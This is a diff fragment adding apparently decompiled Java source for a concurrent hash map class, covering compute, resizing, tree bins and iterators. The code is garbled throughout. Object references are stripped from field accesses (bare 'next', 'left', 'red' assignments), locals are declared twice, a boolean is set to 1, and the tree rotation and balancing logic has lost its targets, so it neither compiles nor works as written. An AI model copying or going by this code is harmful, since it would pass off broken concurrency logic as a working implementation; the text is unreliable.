+                  Node<K, V> e = f; for (Node<K, V> pred = null;; binCount++) {
+                    K ek;
+                    if ((hash == h) && (((ek = key) == key) || ((ek != null) && (key.equals(ek)))))
+                    {
+
+                      val = remappingFunction.apply(val, value);
+                      if (val != null) {
+                        val = val; break;
+                      }
+                      delta = -1;
+                      Node<K, V> en = next;
+                      if (pred != null) {
+                        next = en;
+                      } else {
+                        setTabAt(tab, i, en);
+                      }
+                      break;
+                    }
+                    pred = e;
+                    if ((e = next) == null) {
+                      delta = 1;
+                      val = value;
+                      next = new Node(h, key, val, null);
+                      
+                      break;
+                    }
+                  }
+                }
+                else if ((f instanceof TreeBin)) {
+                  binCount = 2;
+                  TreeBin<K, V> t = (TreeBin)f;
+                  TreeNode<K, V> r = root;
+                  TreeNode<K, V> p = r == null ? null : r.findTreeNode(h, key, null);
+                  
+                  val = p == null ? value : remappingFunction.apply(val, value);
+                  
+                  if (val != null) {
+                    if (p != null) {
+                      val = val;
+                    } else {
+                      delta = 1;
+                      t.putTreeVal(h, key, val);
+                    }
+                  }
+                  else if (p != null) {
+                    delta = -1;
+                    if (t.removeTreeNode(p))
+                      setTabAt(tab, i, untreeify(first));
+                  }
+                }
+              }
+            }
+            if (binCount != 0) {
+              if (binCount < 8) break;
+              treeifyBin(tab, i); break;
+            }
+          }
+        }
+      } }
+    if (delta != 0)
+      addCount(delta, binCount);
+    return val;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public boolean contains(Object value)
+  {
+    return containsValue(value);
+  }
+  
+
+
+
+  public Enumeration<K> keys()
+  {
+    Node<K, V>[] t;
+    
+
+    int f = (t = table) == null ? 0 : t.length;
+    return new KeyIterator(t, f, 0, f, this);
+  }
+  
+
+
+
+  public Enumeration<V> elements()
+  {
+    Node<K, V>[] t;
+    
+
+    int f = (t = table) == null ? 0 : t.length;
+    return new ValueIterator(t, f, 0, f, this);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public long mappingCount()
+  {
+    long n = sumCount();
+    return n < 0L ? 0L : n;
+  }
+  
+
+
+
+
+
+
+  public static <K> KeySetView<K, Boolean> newKeySet()
+  {
+    return new KeySetView(new ConcurrentHashMapV8(), Boolean.TRUE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> KeySetView<K, Boolean> newKeySet(int initialCapacity)
+  {
+    return new KeySetView(new ConcurrentHashMapV8(initialCapacity), Boolean.TRUE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public KeySetView<K, V> keySet(V mappedValue)
+  {
+    if (mappedValue == null)
+      throw new NullPointerException();
+    return new KeySetView(this, mappedValue);
+  }
+  
+
+  static final class ForwardingNode<K, V>
+    extends ConcurrentHashMapV8.Node<K, V>
+  {
+    final ConcurrentHashMapV8.Node<K, V>[] nextTable;
+    
+    ForwardingNode(ConcurrentHashMapV8.Node<K, V>[] tab)
+    {
+      super(null, null, null);
+      nextTable = tab;
+    }
+    
+    ConcurrentHashMapV8.Node<K, V> find(int h, Object k)
+    {
+      ConcurrentHashMapV8.Node<K, V>[] tab = nextTable;
+      int n;
+      ConcurrentHashMapV8.Node<K, V> e; if ((k == null) || (tab == null) || ((n = tab.length) == 0) || ((e = ConcurrentHashMapV8.tabAt(tab, n - 1 & h)) == null))
+      {
+        return null; }
+      for (;;) { int n;
+        ConcurrentHashMapV8.Node<K, V> e;
+        int eh; K ek; if (((eh = hash) == h) && (((ek = key) == k) || ((ek != null) && (k.equals(ek)))))
+        {
+          return e; }
+        if (eh < 0) {
+          if ((e instanceof ForwardingNode)) {
+            tab = nextTable;
+            break;
+          }
+          
+          return e.find(h, k);
+        }
+        if ((e = next) == null) {
+          return null;
+        }
+      }
+    }
+  }
+  
+  static final class ReservationNode<K, V>
+    extends ConcurrentHashMapV8.Node<K, V>
+  {
+    ReservationNode()
+    {
+      super(null, null, null);
+    }
+    
+    ConcurrentHashMapV8.Node<K, V> find(int h, Object k) {
+      return null;
+    }
+  }
+  
+
+
+  private final Node<K, V>[] initTable()
+  {
+    Node<K, V>[] tab;
+    
+
+    while (((tab = table) == null) || (tab.length == 0)) { int sc;
+      if ((sc = sizeCtl) < 0) {
+        Thread.yield();
+      } else if (U.compareAndSwapInt(this, SIZECTL, sc, -1)) {
+        try {
+          if (((tab = table) == null) || (tab.length == 0)) {
+            int n = sc > 0 ? sc : 16;
+            
+            Node<K, V>[] nt = (Node[])new Node[n];
+            table = (tab = nt);
+            sc = n - (n >>> 2);
+          }
+        } finally {
+          sizeCtl = sc;
+        }
+      }
+    }
+    
+    return tab;
+  }
+  
+
+
+  private final void addCount(long x, int check)
+  {
+    CounterCell[] as;
+    
+    long b;
+    
+    long s;
+    
+    long s;
+    
+    if (((as = counterCells) != null) || (!U.compareAndSwapLong(this, BASECOUNT, b = baseCount, s = b + x)))
+    {
+
+      boolean uncontended = true;
+      InternalThreadLocalMap threadLocals = InternalThreadLocalMap.get();
+      IntegerHolder hc; int m; CounterCell a; long v; if (((hc = threadLocals.counterHashCode()) == null) || (as == null) || ((m = as.length - 1) < 0) || ((a = as[(m & value)]) == null) || (!(uncontended = U.compareAndSwapLong(a, CELLVALUE, v = value, v + x))))
+      {
+
+
+
+        fullAddCount(threadLocals, x, hc, uncontended); return; }
+      int m;
+      long v;
+      CounterCell a; if (check <= 1)
+        return;
+      s = sumCount();
+    }
+    if (check >= 0) { int sc;
+      Node<K, V>[] tab;
+      while ((s >= (sc = sizeCtl)) && ((tab = table) != null) && (tab.length < 1073741824))
+      {
+        if (sc < 0) { Node<K, V>[] nt;
+          if ((sc == -1) || (transferIndex <= transferOrigin) || ((nt = nextTable) == null)) {
+            break;
+          }
+          if (U.compareAndSwapInt(this, SIZECTL, sc, sc - 1)) {
+            transfer(tab, nt);
+          }
+        } else if (U.compareAndSwapInt(this, SIZECTL, sc, -2)) {
+          transfer(tab, null); }
+        s = sumCount();
+      }
+    }
+  }
+  
+
+  final Node<K, V>[] helpTransfer(Node<K, V>[] tab, Node<K, V> f)
+  {
+    Node<K, V>[] nextTab;
+    
+    if (((f instanceof ForwardingNode)) && ((nextTab = nextTable) != null)) {
+      int sc;
+      if ((nextTab == nextTable) && (tab == table) && (transferIndex > transferOrigin) && ((sc = sizeCtl) < -1) && (U.compareAndSwapInt(this, SIZECTL, sc, sc - 1)))
+      {
+
+        transfer(tab, nextTab); }
+      return nextTab;
+    }
+    return table;
+  }
+  
+
+
+
+
+  private final void tryPresize(int size)
+  {
+    int c = size >= 536870912 ? 1073741824 : tableSizeFor(size + (size >>> 1) + 1);
+    
+    int sc;
+    while ((sc = sizeCtl) >= 0) {
+      Node<K, V>[] tab = table;
+      int n; int n; if ((tab == null) || ((n = tab.length) == 0)) {
+        n = sc > c ? sc : c;
+        if (U.compareAndSwapInt(this, SIZECTL, sc, -1)) {
+          try {
+            if (table == tab)
+            {
+              Node<K, V>[] nt = (Node[])new Node[n];
+              table = nt;
+              sc = n - (n >>> 2);
+            }
+          } finally {
+            sizeCtl = sc;
+          }
+        }
+      } else {
+        if ((c <= sc) || (n >= 1073741824))
+          break;
+        if ((tab == table) && (U.compareAndSwapInt(this, SIZECTL, sc, -2)))
+        {
+          transfer(tab, null);
+        }
+      }
+    }
+  }
+  
+
+  private final void transfer(Node<K, V>[] tab, Node<K, V>[] nextTab)
+  {
+    int n = tab.length;
+    int stride; if ((stride = NCPU > 1 ? (n >>> 3) / NCPU : n) < 16)
+      stride = 16;
+    ForwardingNode<K, V> rev; int k; if (nextTab == null)
+    {
+      try {
+        Node<K, V>[] nt = (Node[])new Node[n << 1];
+        nextTab = nt;
+      } catch (Throwable ex) {
+        sizeCtl = Integer.MAX_VALUE;
+        return;
+      }
+      nextTable = nextTab;
+      transferOrigin = n;
+      transferIndex = n;
+      rev = new ForwardingNode(tab);
+      for (k = n; k > 0;) {
+        int nextk = k > stride ? k - stride : 0;
+        for (int m = nextk; m < k; m++)
+          nextTab[m] = rev;
+        for (int m = n + nextk; m < n + k; m++)
+          nextTab[m] = rev;
+        U.putOrderedInt(this, TRANSFERORIGIN, k = nextk);
+      }
+    }
+    int nextn = nextTab.length;
+    ForwardingNode<K, V> fwd = new ForwardingNode(nextTab);
+    boolean advance = true;
+    boolean finishing = false;
+    int i = 0;int bound = 0;
+    for (;;) {
+      if (advance) {
+        i--; if ((i >= bound) || (finishing)) {
+          advance = false; } else { int nextIndex;
+          if ((nextIndex = transferIndex) <= transferOrigin) {
+            i = -1;
+            advance = false;
+          } else { int nextBound;
+            if (U.compareAndSwapInt(this, TRANSFERINDEX, nextIndex, nextBound = nextIndex > stride ? nextIndex - stride : 0))
+            {
+
+
+              bound = nextBound;
+              i = nextIndex - 1;
+              advance = false;
+            }
+          }
+        } } else if ((i < 0) || (i >= n) || (i + n >= nextn)) {
+        if (finishing) {
+          nextTable = null;
+          table = nextTab;
+          sizeCtl = ((n << 1) - (n >>> 1));
+          return;
+        }
+        int sc;
+        while (!U.compareAndSwapInt(this, SIZECTL, sc = sizeCtl, ++sc)) {}
+        if (sc != -1)
+          return;
+        finishing = advance = 1;
+        i = n;
+      }
+      else
+      {
+        Node<K, V> f;
+        if ((f = tabAt(tab, i)) == null) {
+          if (casTabAt(tab, i, null, fwd)) {
+            setTabAt(nextTab, i, null);
+            setTabAt(nextTab, i + n, null);
+            advance = true;
+          }
+        } else { int fh;
+          if ((fh = hash) == -1) {
+            advance = true;
+          } else {
+            synchronized (f) {
+              if (tabAt(tab, i) == f)
+              {
+                if (fh >= 0) {
+                  int runBit = fh & n;
+                  Node<K, V> lastRun = f;
+                  for (Node<K, V> p = next; p != null; p = next) {
+                    int b = hash & n;
+                    if (b != runBit) {
+                      runBit = b;
+                      lastRun = p; } }
+                  Node<K, V> hn;
+                  Node<K, V> hn;
+                  Node<K, V> ln; if (runBit == 0) {
+                    Node<K, V> ln = lastRun;
+                    hn = null;
+                  }
+                  else {
+                    hn = lastRun;
+                    ln = null;
+                  }
+                  for (Node<K, V> p = f; p != lastRun; p = next) {
+                    int ph = hash;K pk = key;V pv = val;
+                    if ((ph & n) == 0) {
+                      ln = new Node(ph, pk, pv, ln);
+                    } else
+                      hn = new Node(ph, pk, pv, hn);
+                  }
+                  setTabAt(nextTab, i, ln);
+                  setTabAt(nextTab, i + n, hn);
+                  setTabAt(tab, i, fwd);
+                  advance = true;
+                }
+                else if ((f instanceof TreeBin)) {
+                  TreeBin<K, V> t = (TreeBin)f;
+                  TreeNode<K, V> lo = null;TreeNode<K, V> loTail = null;
+                  TreeNode<K, V> hi = null;TreeNode<K, V> hiTail = null;
+                  int lc = 0;int hc = 0;
+                  for (Node<K, V> e = first; e != null; e = next) {
+                    int h = hash;
+                    TreeNode<K, V> p = new TreeNode(h, key, val, null, null);
+                    
+                    if ((h & n) == 0) {
+                      if ((p.prev = loTail) == null) {
+                        lo = p;
+                      } else
+                        next = p;
+                      loTail = p;
+                      lc++;
+                    }
+                    else {
+                      if ((p.prev = hiTail) == null) {
+                        hi = p;
+                      } else
+                        next = p;
+                      hiTail = p;
+                      hc++;
+                    }
+                  }
+                  Node<K, V> ln = hc != 0 ? new TreeBin(lo) : lc <= 6 ? untreeify(lo) : t;
+                  
+                  Node<K, V> hn = lc != 0 ? new TreeBin(hi) : hc <= 6 ? untreeify(hi) : t;
+                  
+                  setTabAt(nextTab, i, ln);
+                  setTabAt(nextTab, i + n, hn);
+                  setTabAt(tab, i, fwd);
+                  advance = true;
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  private final void treeifyBin(Node<K, V>[] tab, int index)
+  {
+    if (tab != null) { int n;
+      if ((n = tab.length) < 64) { int sc;
+        if ((tab == table) && ((sc = sizeCtl) >= 0) && (U.compareAndSwapInt(this, SIZECTL, sc, -2)))
+        {
+          transfer(tab, null); }
+      } else { Node<K, V> b;
+        if (((b = tabAt(tab, index)) != null) && (hash >= 0)) {
+          synchronized (b) {
+            if (tabAt(tab, index) == b) {
+              TreeNode<K, V> hd = null;TreeNode<K, V> tl = null;
+              for (Node<K, V> e = b; e != null; e = next) {
+                TreeNode<K, V> p = new TreeNode(hash, key, val, null, null);
+                
+
+                if ((p.prev = tl) == null) {
+                  hd = p;
+                } else
+                  next = p;
+                tl = p;
+              }
+              setTabAt(tab, index, new TreeBin(hd));
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+  static <K, V> Node<K, V> untreeify(Node<K, V> b)
+  {
+    Node<K, V> hd = null;Node<K, V> tl = null;
+    for (Node<K, V> q = b; q != null; q = next) {
+      Node<K, V> p = new Node(hash, key, val, null);
+      if (tl == null) {
+        hd = p;
+      } else
+        next = p;
+      tl = p;
+    }
+    return hd;
+  }
+  
+
+  static final class TreeNode<K, V>
+    extends ConcurrentHashMapV8.Node<K, V>
+  {
+    TreeNode<K, V> parent;
+    
+    TreeNode<K, V> left;
+    
+    TreeNode<K, V> right;
+    TreeNode<K, V> prev;
+    boolean red;
+    
+    TreeNode(int hash, K key, V val, ConcurrentHashMapV8.Node<K, V> next, TreeNode<K, V> parent)
+    {
+      super(key, val, next);
+      this.parent = parent;
+    }
+    
+    ConcurrentHashMapV8.Node<K, V> find(int h, Object k) {
+      return findTreeNode(h, k, null);
+    }
+    
+
+
+
+    final TreeNode<K, V> findTreeNode(int h, Object k, Class<?> kc)
+    {
+      if (k != null) {
+        TreeNode<K, V> p = this;
+        do
+        {
+          TreeNode<K, V> pl = left;TreeNode<K, V> pr = right;
+          int ph; if ((ph = hash) > h) {
+            p = pl;
+          } else if (ph < h) {
+            p = pr; } else { K pk;
+            if (((pk = key) == k) || ((pk != null) && (k.equals(pk))))
+              return p;
+            if ((pl == null) && (pr == null)) break;
+            int dir;
+            if (((kc != null) || ((kc = ConcurrentHashMapV8.comparableClassFor(k)) != null)) && ((dir = ConcurrentHashMapV8.compareComparables(kc, k, pk)) != 0))
+            {
+
+              p = dir < 0 ? pl : pr;
+            } else if (pl == null) {
+              p = pr; } else { TreeNode<K, V> q;
+              if ((pr == null) || ((q = pr.findTreeNode(h, k, kc)) == null))
+              {
+                p = pl;
+              } else { TreeNode<K, V> q;
+                return q;
+              } } } } while (p != null);
+      }
+      return null;
+    }
+  }
+  
+
+  static final class TreeBin<K, V>
+    extends ConcurrentHashMapV8.Node<K, V>
+  {
+    ConcurrentHashMapV8.TreeNode<K, V> root;
+    
+    volatile ConcurrentHashMapV8.TreeNode<K, V> first;
+    
+    volatile Thread waiter;
+    
+    volatile int lockState;
+    
+    static final int WRITER = 1;
+    
+    static final int WAITER = 2;
+    
+    static final int READER = 4;
+    
+    private static final Unsafe U;
+    private static final long LOCKSTATE;
+    
+    TreeBin(ConcurrentHashMapV8.TreeNode<K, V> b)
+    {
+      super(null, null, null);
+      first = b;
+      ConcurrentHashMapV8.TreeNode<K, V> r = null;
+      ConcurrentHashMapV8.TreeNode<K, V> next; for (ConcurrentHashMapV8.TreeNode<K, V> x = b; x != null; x = next) {
+        next = (ConcurrentHashMapV8.TreeNode)next;
+        left = (x.right = null);
+        if (r == null) {
+          parent = null;
+          red = false;
+          r = x;
+        }
+        else {
+          Object key = key;
+          int hash = hash;
+          Class<?> kc = null;
+          ConcurrentHashMapV8.TreeNode<K, V> p = r;
+          for (;;) { int ph;
+            int dir; int dir; if ((ph = hash) > hash) {
+              dir = -1; } else { int dir;
+              if (ph < hash) {
+                dir = 1; } else { int dir;
+                if ((kc != null) || ((kc = ConcurrentHashMapV8.comparableClassFor(key)) != null))
+                {
+                  dir = ConcurrentHashMapV8.compareComparables(kc, key, key);
+                } else
+                  dir = 0; } }
+            ConcurrentHashMapV8.TreeNode<K, V> xp = p;
+            if ((p = dir <= 0 ? left : right) == null) {
+              parent = xp;
+              if (dir <= 0) {
+                left = x;
+              } else
+                right = x;
+              r = balanceInsertion(r, x);
+              break;
+            }
+          }
+        }
+      }
+      root = r;
+    }
+    
+
+
+    private final void lockRoot()
+    {
+      if (!U.compareAndSwapInt(this, LOCKSTATE, 0, 1)) {
+        contendedLock();
+      }
+    }
+    
+
+    private final void unlockRoot()
+    {
+      lockState = 0;
+    }
+    
+
+
+    private final void contendedLock()
+    {
+      boolean waiting = false;
+      for (;;) { int s;
+        if (((s = lockState) & 0x1) == 0) {
+          if (U.compareAndSwapInt(this, LOCKSTATE, s, 1)) {
+            if (waiting) {
+              waiter = null;
+            }
+          }
+        }
+        else if ((s & 0x2) == 0) {
+          if (U.compareAndSwapInt(this, LOCKSTATE, s, s | 0x2)) {
+            waiting = true;
+            waiter = Thread.currentThread();
+          }
+        }
+        else if (waiting) {
+          LockSupport.park(this);
+        }
+      }
+    }
+    
+
+
+
+    final ConcurrentHashMapV8.Node<K, V> find(int h, Object k)
+    {
+      if (k != null) {
+        for (ConcurrentHashMapV8.Node<K, V> e = first; e != null; e = next) {
+          int s;
+          if (((s = lockState) & 0x3) != 0) { K ek;
+            if ((hash == h) && (((ek = key) == k) || ((ek != null) && (k.equals(ek)))))
+            {
+              return e;
+            }
+          } else if (U.compareAndSwapInt(this, LOCKSTATE, s, s + 4)) {
+            ConcurrentHashMapV8.TreeNode<K, V> p;
+            try {
+              ConcurrentHashMapV8.TreeNode<K, V> r;
+              p = (r = root) == null ? null : r.findTreeNode(h, k, null);
+            } finally {
+              int ls;
+              Thread w;
+              int ls;
+              while (!U.compareAndSwapInt(this, LOCKSTATE, ls = lockState, ls - 4)) {}
+              
+              Thread w;
+              if ((ls == 6) && ((w = waiter) != null))
+                LockSupport.unpark(w);
+            }
+            return p;
+          }
+        }
+      }
+      return null;
+    }
+    
+
+
+
+    final ConcurrentHashMapV8.TreeNode<K, V> putTreeVal(int h, K k, V v)
+    {
+      Class<?> kc = null;
+      ConcurrentHashMapV8.TreeNode<K, V> p = root;
+      for (;;) {
+        if (p == null) {
+          first = (this.root = new ConcurrentHashMapV8.TreeNode(h, k, v, null, null));
+          break; }
+        int ph;
+        int dir; if ((ph = hash) > h) {
+          dir = -1; } else { int dir;
+          if (ph < h) {
+            dir = 1; } else { K pk;
+            if (((pk = key) == k) || ((pk != null) && (k.equals(pk))))
+              return p;
+            int dir; if (((kc == null) && ((kc = ConcurrentHashMapV8.comparableClassFor(k)) == null)) || ((dir = ConcurrentHashMapV8.compareComparables(kc, k, pk)) == 0))
+            {
+              int dir;
+              if (left == null) {
+                dir = 1; } else { ConcurrentHashMapV8.TreeNode<K, V> pr;
+                ConcurrentHashMapV8.TreeNode<K, V> q; int dir; if (((pr = right) == null) || ((q = pr.findTreeNode(h, k, kc)) == null))
+                {
+                  dir = -1;
+                } else { ConcurrentHashMapV8.TreeNode<K, V> q;
+                  return q; } } } } }
+        int dir;
+        ConcurrentHashMapV8.TreeNode<K, V> xp = p;
+        if ((p = dir < 0 ? left : right) == null) {
+          ConcurrentHashMapV8.TreeNode<K, V> f = first;
+          ConcurrentHashMapV8.TreeNode<K, V> x; first = (x = new ConcurrentHashMapV8.TreeNode(h, k, v, f, xp));
+          if (f != null)
+            prev = x;
+          if (dir < 0) {
+            left = x;
+          } else
+            right = x;
+          if (!red) {
+            red = true; break;
+          }
+          lockRoot();
+          try {
+            root = balanceInsertion(root, x);
+          } finally {
+            unlockRoot();
+          }
+          
+          break;
+        }
+      }
+      assert (checkInvariants(root));
+      return null;
+    }
+    
+
+
+
+
+
+
+
+
+
+    final boolean removeTreeNode(ConcurrentHashMapV8.TreeNode<K, V> p)
+    {
+      ConcurrentHashMapV8.TreeNode<K, V> next = (ConcurrentHashMapV8.TreeNode)next;
+      ConcurrentHashMapV8.TreeNode<K, V> pred = prev;
+      
+      if (pred == null) {
+        first = next;
+      } else
+        next = next;
+      if (next != null)
+        prev = pred;
+      if (first == null) {
+        root = null;
+        return true; }
+      ConcurrentHashMapV8.TreeNode<K, V> r;
+      ConcurrentHashMapV8.TreeNode<K, V> rl; if (((r = root) == null) || (right == null) || ((rl = left) == null) || (left == null))
+      {
+        return true; }
+      ConcurrentHashMapV8.TreeNode<K, V> rl; lockRoot();
+      try
+      {
+        ConcurrentHashMapV8.TreeNode<K, V> pl = left;
+        ConcurrentHashMapV8.TreeNode<K, V> pr = right;
+        ConcurrentHashMapV8.TreeNode<K, V> replacement; ConcurrentHashMapV8.TreeNode<K, V> replacement; if ((pl != null) && (pr != null)) {
+          ConcurrentHashMapV8.TreeNode<K, V> s = pr;
+          ConcurrentHashMapV8.TreeNode<K, V> sl; while ((sl = left) != null)
+            s = sl;
+          boolean c = red;red = red;red = c;
+          ConcurrentHashMapV8.TreeNode<K, V> sr = right;
+          ConcurrentHashMapV8.TreeNode<K, V> pp = parent;
+          if (s == pr) {
+            parent = s;
+            right = p;
+          }
+          else {
+            ConcurrentHashMapV8.TreeNode<K, V> sp = parent;
+            if ((p.parent = sp) != null) {
+              if (s == left) {
+                left = p;
+              } else
+                right = p;
+            }
+            right = pr;
+            parent = s;
+          }
+          left = null;
+          left = pl;
+          parent = s;
+          if ((p.right = sr) != null)
+            parent = p;
+          if ((s.parent = pp) == null) {
+            r = s;
+          } else if (p == left) {
+            left = s;
+          } else
+            right = s;
+          ConcurrentHashMapV8.TreeNode<K, V> replacement; if (sr != null) {
+            replacement = sr;
+          } else
+            replacement = p;
+        } else { ConcurrentHashMapV8.TreeNode<K, V> replacement;
+          if (pl != null) {
+            replacement = pl; } else { ConcurrentHashMapV8.TreeNode<K, V> replacement;
+            if (pr != null) {
+              replacement = pr;
+            } else
+              replacement = p; } }
+        if (replacement != p) {
+          ConcurrentHashMapV8.TreeNode<K, V> pp = replacement.parent = parent;
+          if (pp == null) {
+            r = replacement;
+          } else if (p == left) {
+            left = replacement;
+          } else
+            right = replacement;
+          left = (p.right = p.parent = null);
+        }
+        
+        root = (red ? r : balanceDeletion(r, replacement));
+        
+        if (p == replacement) {
+          ConcurrentHashMapV8.TreeNode<K, V> pp;
+          if ((pp = parent) != null) {
+            if (p == left) {
+              left = null;
+            } else if (p == right)
+              right = null;
+            parent = null;
+          }
+        }
+      } finally {
+        unlockRoot();
+      }
+      assert (checkInvariants(root));
+      return false;
+    }
+    
+
+
+    static <K, V> ConcurrentHashMapV8.TreeNode<K, V> rotateLeft(ConcurrentHashMapV8.TreeNode<K, V> root, ConcurrentHashMapV8.TreeNode<K, V> p)
+    {
+      ConcurrentHashMapV8.TreeNode<K, V> r;
+      
+      if ((p != null) && ((r = right) != null)) { ConcurrentHashMapV8.TreeNode<K, V> rl;
+        if ((rl = p.right = left) != null)
+          parent = p;
+        ConcurrentHashMapV8.TreeNode<K, V> pp; if ((pp = r.parent = parent) == null) {
+          red = false;
+        } else if (left == p) {
+          left = r;
+        } else
+          right = r;
+        left = p;
+        parent = r;
+      }
+      return root;
+    }
+    
+    static <K, V> ConcurrentHashMapV8.TreeNode<K, V> rotateRight(ConcurrentHashMapV8.TreeNode<K, V> root, ConcurrentHashMapV8.TreeNode<K, V> p)
+    {
+      ConcurrentHashMapV8.TreeNode<K, V> l;
+      if ((p != null) && ((l = left) != null)) { ConcurrentHashMapV8.TreeNode<K, V> lr;
+        if ((lr = p.left = right) != null)
+          parent = p;
+        ConcurrentHashMapV8.TreeNode<K, V> pp; if ((pp = l.parent = parent) == null) {
+          red = false;
+        } else if (right == p) {
+          right = l;
+        } else
+          left = l;
+        right = p;
+        parent = l;
+      }
+      return root;
+    }
+    
+    static <K, V> ConcurrentHashMapV8.TreeNode<K, V> balanceInsertion(ConcurrentHashMapV8.TreeNode<K, V> root, ConcurrentHashMapV8.TreeNode<K, V> x)
+    {
+      red = true;
+      for (;;) { ConcurrentHashMapV8.TreeNode<K, V> xp;
+        if ((xp = parent) == null) {
+          red = false;
+          return x; }
+        ConcurrentHashMapV8.TreeNode<K, V> xpp;
+        if ((!red) || ((xpp = parent) == null))
+          return root;
+        ConcurrentHashMapV8.TreeNode<K, V> xpp; ConcurrentHashMapV8.TreeNode<K, V> xppl; if (xp == (xppl = left)) { ConcurrentHashMapV8.TreeNode<K, V> xppr;
+          if (((xppr = right) != null) && (red)) {
+            red = false;
+            red = false;
+            red = true;
+            x = xpp;
+          }
+          else {
+            if (x == right) {
+              root = rotateLeft(root, x = xp);
+              xpp = (xp = parent) == null ? null : parent;
+            }
+            if (xp != null) {
+              red = false;
+              if (xpp != null) {
+                red = true;
+                root = rotateRight(root, xpp);
+              }
+              
+            }
+          }
+        }
+        else if ((xppl != null) && (red)) {
+          red = false;
+          red = false;
+          red = true;
+          x = xpp;
+        }
+        else {
+          if (x == left) {
+            root = rotateRight(root, x = xp);
+            xpp = (xp = parent) == null ? null : parent;
+          }
+          if (xp != null) {
+            red = false;
+            if (xpp != null) {
+              red = true;
+              root = rotateLeft(root, xpp);
+            }
+          }
+        }
+      }
+    }
+    
+    static <K, V> ConcurrentHashMapV8.TreeNode<K, V> balanceDeletion(ConcurrentHashMapV8.TreeNode<K, V> root, ConcurrentHashMapV8.TreeNode<K, V> x)
+    {
+      for (;;)
+      {
+        if ((x == null) || (x == root))
+          return root;
+        ConcurrentHashMapV8.TreeNode<K, V> xp; if ((xp = parent) == null) {
+          red = false;
+          return x;
+        }
+        if (red) {
+          red = false;
+          return root; }
+        ConcurrentHashMapV8.TreeNode<K, V> xpl;
+        if ((xpl = left) == x) { ConcurrentHashMapV8.TreeNode<K, V> xpr;
+          if (((xpr = right) != null) && (red)) {
+            red = false;
+            red = true;
+            root = rotateLeft(root, xp);
+            xpr = (xp = parent) == null ? null : right;
+          }
+          if (xpr == null) {
+            x = xp;
+          } else {
+            ConcurrentHashMapV8.TreeNode<K, V> sl = left;ConcurrentHashMapV8.TreeNode<K, V> sr = right;
+            if (((sr == null) || (!red)) && ((sl == null) || (!red)))
+            {
+              red = true;
+              x = xp;
+            }
+            else {
+              if ((sr == null) || (!red)) {
+                if (sl != null)
+                  red = false;
+                red = true;
+                root = rotateRight(root, xpr);
+                xpr = (xp = parent) == null ? null : right;
+              }
+              
+              if (xpr != null) {
+                red = (xp == null ? false : red);
+                if ((sr = right) != null)
+                  red = false;
+              }
+              if (xp != null) {
+                red = false;
+                root = rotateLeft(root, xp);
+              }
+              x = root;
+            }
+          }
+        }
+        else {
+          if ((xpl != null) && (red)) {
+            red = false;
+            red = true;
+            root = rotateRight(root, xp);
+            xpl = (xp = parent) == null ? null : left;
+          }
+          if (xpl == null) {
+            x = xp;
+          } else {
+            ConcurrentHashMapV8.TreeNode<K, V> sl = left;ConcurrentHashMapV8.TreeNode<K, V> sr = right;
+            if (((sl == null) || (!red)) && ((sr == null) || (!red)))
+            {
+              red = true;
+              x = xp;
+            }
+            else {
+              if ((sl == null) || (!red)) {
+                if (sr != null)
+                  red = false;
+                red = true;
+                root = rotateLeft(root, xpl);
+                xpl = (xp = parent) == null ? null : left;
+              }
+              
+              if (xpl != null) {
+                red = (xp == null ? false : red);
+                if ((sl = left) != null)
+                  red = false;
+              }
+              if (xp != null) {
+                red = false;
+                root = rotateRight(root, xp);
+              }
+              x = root;
+            }
+          }
+        }
+      }
+    }
+    
+
+
+    static <K, V> boolean checkInvariants(ConcurrentHashMapV8.TreeNode<K, V> t)
+    {
+      ConcurrentHashMapV8.TreeNode<K, V> tp = parent;ConcurrentHashMapV8.TreeNode<K, V> tl = left;ConcurrentHashMapV8.TreeNode<K, V> tr = right;
+      ConcurrentHashMapV8.TreeNode<K, V> tb = prev;ConcurrentHashMapV8.TreeNode<K, V> tn = (ConcurrentHashMapV8.TreeNode)next;
+      if ((tb != null) && (next != t))
+        return false;
+      if ((tn != null) && (prev != t))
+        return false;
+      if ((tp != null) && (t != left) && (t != right))
+        return false;
+      if ((tl != null) && ((parent != t) || (hash > hash)))
+        return false;
+      if ((tr != null) && ((parent != t) || (hash < hash)))
+        return false;
+      if ((red) && (tl != null) && (red) && (tr != null) && (red))
+        return false;
+      if ((tl != null) && (!checkInvariants(tl)))
+        return false;
+      if ((tr != null) && (!checkInvariants(tr)))
+        return false;
+      return true;
+    }
+    
+    static
+    {
+      try
+      {
+        U = ConcurrentHashMapV8.access$000();
+        Class<?> k = TreeBin.class;
+        LOCKSTATE = U.objectFieldOffset(k.getDeclaredField("lockState"));
+      }
+      catch (Exception e) {
+        throw new Error(e);
+      }
+    }
+  }
+  
+
+
+
+  static class Traverser<K, V>
+  {
+    ConcurrentHashMapV8.Node<K, V>[] tab;
+    
+
+
+    ConcurrentHashMapV8.Node<K, V> next;
+    
+
+
+    int index;
+    
+
+
+    int baseIndex;
+    
+
+
+    int baseLimit;
+    
+
+
+    final int baseSize;
+    
+
+
+
+    Traverser(ConcurrentHashMapV8.Node<K, V>[] tab, int size, int index, int limit)
+    {
+      this.tab = tab;
+      baseSize = size;
+      baseIndex = (this.index = index);
+      baseLimit = limit;
+      next = null;
+    }
+    
+
+    final ConcurrentHashMapV8.Node<K, V> advance()
+    {
+      ConcurrentHashMapV8.Node<K, V> e;
+      
+      if ((e = next) != null) {
+        e = next;
+      }
+      for (;;) {
+        if (e != null)
+          return this.next = e;
+        ConcurrentHashMapV8.Node<K, V>[] t; int n; int i; if ((baseIndex >= baseLimit) || ((t = tab) == null) || ((n = t.length) <= (i = index)) || (i < 0))
+        {
+          return this.next = null; }
+        int n; int i; ConcurrentHashMapV8.Node<K, V>[] t; if (((e = ConcurrentHashMapV8.tabAt(t, index)) != null) && (hash < 0)) {
+          if ((e instanceof ConcurrentHashMapV8.ForwardingNode)) {
+            tab = nextTable;
+            e = null;
+            continue;
+          }
+          if ((e instanceof ConcurrentHashMapV8.TreeBin)) {
+            e = first;
+          } else
+            e = null;
+        }
+        if (this.index += baseSize >= n) {
+          index = (++baseIndex);
+        }
+      }
+    }
+  }
+  
+  static class BaseIterator<K, V>
+    extends ConcurrentHashMapV8.Traverser<K, V>
+  {
+    final ConcurrentHashMapV8<K, V> map;
